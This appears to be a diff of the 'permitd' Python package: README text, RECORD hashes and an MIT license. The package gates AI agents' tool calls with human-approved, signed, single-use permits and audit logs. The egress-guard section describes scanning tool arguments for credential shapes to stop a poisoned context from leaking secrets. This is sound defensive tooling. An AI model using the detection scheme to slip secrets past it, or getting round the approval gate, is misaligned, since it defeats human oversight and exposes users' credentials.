|
118
|
+
## What the permit actually guarantees
|
|
119
|
+
|
|
120
|
+
- **Bound to exact arguments.** A permit is scoped to
|
|
121
|
+
`sha256(tool + canonical_json(args))`. Approval for "send X to Alice" cannot
|
|
122
|
+
be replayed as "send Y to Eve" — key order and whitespace don't change the
|
|
123
|
+
binding; any value change does (`args_mismatch`).
|
|
124
|
+
- **Single-use, atomically.** The burn is one SQLite compare-and-swap
|
|
125
|
+
(`UPDATE ... WHERE status='approved'`), so two processes racing the same
|
|
126
|
+
permit cannot both pass (`already_used`).
|
|
127
|
+
- **Time-boxed twice.** A proposal is approvable for `ttl_seconds` (default
|
|
128
|
+
300); a minted approval is executable for another `ttl_seconds`. Unparseable
|
|
129
|
+
timestamps count as expired.
|
|
130
|
+
- **HMAC-signed.** Approval mints
|
|
131
|
+
`HMAC-SHA256(secret, id.binding_hash.approved_at)`, re-verified at execute
|
|
132
|
+
time — a store row edited behind the kernel's back fails (`bad_signature`).
|
|
133
|
+
- **Fail-closed everywhere.** Anything the kernel cannot positively verify —
|
|
134
|
+
including "the arguments could not even be inspected" — is a refusal, not a
|
|
135
|
+
pass. Refusals are audited with their reason.
|
|
136
|
+
|
|
137
|
+
## Tiers
|
|
138
|
+
|
|
139
|
+
`Gate` is a small registry with three tiers over the kernel:
|
|
140
|
+
|
|
141
|
+
| tier | meaning | gate |
|
|
142
|
+
|---|---|---|
|
|
143
|
+
| `GREEN` | read-only over your own state | runs freely, audited |
|
|
144
|
+
| `YELLOW` | external read (search, fetch) | one standing toggle: `gate.standing_authorization = True` |
|
|
145
|
+
| `RED` | write / exec / send | per-call permit: the flow above |
|
|
146
|
+
|
|
147
|
+
If you don't want the registry, use the kernel directly:
|
|
148
|
+
|
|
149
|
+
```python
|
|
150
|
+
from permitd import PermitKernel, SqliteStore, AuditLog
|
|
151
|
+
|
|
152
|
+
kernel = PermitKernel(SqliteStore("permitd.db"),
|
|
153
|
+
secret_path="permitd.db.secret",
|
|
154
|
+
audit=AuditLog("permitd_audit.jsonl"))
|
|
155
|
+
p = kernel.propose("deploy", {"target": "prod"})
|
|
156
|
+
kernel.approve(p.id) # or from the CLI / your own UI
|
|
157
|
+
kernel.execute("deploy", {"target": "prod"}, p.id, runner=do_deploy)
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
`approve` is just a method on a store-backed kernel — call it from a CLI, a
|
|
161
|
+
Slack handler, an HTTP endpoint, wherever your human is.
|
|
162
|
+
|
|
163
|
+
## The egress guard
|
|
164
|
+
|
|
165
|
+
Before any non-GREEN call runs — **including at propose time** — its arguments
|
|
166
|
+
are scanned for credential-shaped content: private-key blocks, `Bearer`/`Basic`
|
|
167
|
+
headers, AWS/GitHub/Slack/Stripe/OpenAI/Anthropic/Google key shapes, inline
|
|
168
|
+
`api_key=...` assignments, the values of this process's own sensitive
|
|
169
|
+
environment variables, and a conservative high-entropy backstop. A poisoned
|
|
170
|
+
context that steers a secret into a tool argument is refused before anything
|
|
171
|
+
leaves, before any approval card is shown, and the refusal reason names the
|
|
172
|
+
matched *shape*, never the value.
|
|
173
|
+
|
|
174
|
+
## MCP: gate any agent's tools, including Claude Code's
|
|
175
|
+
|
|
176
|
+
[`examples/mcp_server/`](examples/mcp_server/) is an MCP server whose tools go
|
|
177
|
+
through the gate. Point any MCP-speaking agent at it and that agent gets
|
|
178
|
+
propose → approve → execute + audit with **zero agent-side changes**: the
|
|
179
|
+
agent calls a RED tool, is told "permit PRM-… proposed, waiting for approval",
|
|
180
|
+
you run `permitd approve PRM-…` in another terminal, the agent retries and the
|
|
181
|
+
call executes. The audit line lands either way.
|
|
182
|
+
|
|
183
|
+
## Storage
|
|
184
|
+
|
|
185
|
+
`SqliteStore` (default, durable, atomic burn) and `MemoryStore` (tests,
|
|
186
|
+
ephemeral) ship in the box. Anything else needs five methods — see the
|
|
187
|
+
`PermitStore` protocol in [`store.py`](src/permitd/store.py); keep `burn`
|
|
188
|
+
compare-and-swap or you lose the one-shot guarantee. The audit trail is a
|
|
189
|
+
separate append-only JSONL file so it stays `tail -f`-able.
|
|
190
|
+
|
|
191
|
+
## What permitd is not
|
|
192
|
+
|
|
193
|
+
Not an agent, not a framework, not memory, not RAG. It has no opinion about
|
|
194
|
+
your loop, your model, or your prompts. It is the layer that holds the state
|
|
195
|
+
of "may this run?" across turns — and the receipt after it did.
|
|
196
|
+
|
|
197
|
+
## Ancestry
|
|
198
|
+
|
|
199
|
+
Extracted from the tool-governance kernel of
|
|
200
|
+
[brainfoundry-nous](https://github.com/hbar-systems/brainfoundry-nous), where
|
|
201
|
+
it runs in production gating a personal AI node's tools. The
|
|
202
|
+
propose/confirm/execute + audit grammar goes back to
|
|
203
|
+
[hbar.brain.console](https://github.com/hbar-systems/hbar.brain.console)
|
|
204
|
+
(2026-03). Design notes: [DESIGN.md](DESIGN.md).
|
|
205
|
+
|
|
206
|
+
## License
|
|
207
|
+
|
|
208
|
+
MIT.
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
permitd/__init__.py,sha256=leuSDkcSF_C8QEwCo-NJy_RG1CbZcXBPdpzyoDcFP4g,1306
|
|
2
|
+
permitd/audit.py,sha256=b43ZhdbVdx_SJZZC3muAbg9-d3lLK2XLHZ3qdNZ_dEg,2246
|
|
3
|
+
permitd/binding.py,sha256=0M9ov-Dx9GMS31Mjnb1ek5mdS3bWR8ZP11Zt8-2_yq8,1004
|
|
4
|
+
permitd/cli.py,sha256=jjEOhM1kQTKS4ZQ6Y9sPJD6Syc2iAIyNKeeTKO1p06U,4417
|
|
5
|
+
permitd/gate.py,sha256=zqs0y-YOVzx6zUP5UjL0XpS4xrHiyNYBb_hYPCIhXBw,9034
|
|
6
|
+
permitd/guard.py,sha256=bjSr47yC8I5EKmKvSvZ24dvxMwx5zx08s2LLuxQpByk,6797
|
|
7
|
+
permitd/kernel.py,sha256=35hJ7lZG6ByBo_l99Vpw9D00qGH9vsnaEmAN_WcpcLA,11655
|
|
8
|
+
permitd/permit.py,sha256=Q92NVg2BXkQ4ftrzFYpQn4kz7ixG-HQhIh1i6aBl_Qo,2343
|
|
9
|
+
permitd/store.py,sha256=QX8Dm3-t4cuzwOyho1ON9irrGZx79RdXV6qj9yLc3Z4,5238
|
|
10
|
+
permitd-0.1.0.dist-info/METADATA,sha256=YySrkIqJOejQB7ZE6LHza6gnjjTZH5Fxfq_3CqQrUjU,8061
|
|
11
|
+
permitd-0.1.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
|
|
12
|
+
permitd-0.1.0.dist-info/entry_points.txt,sha256=7UUgxAdkoM3oA1emvy6Nq3F_vIUKAjjRIt9BcR8qneE,45
|
|
13
|
+
permitd-0.1.0.dist-info/licenses/LICENSE,sha256=MLX6Owunzi8tBj5XZ60WZ3toHt4XTE-vIlfzpbUGHOw,1069
|
|
14
|
+
permitd-0.1.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 hbar-systems
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|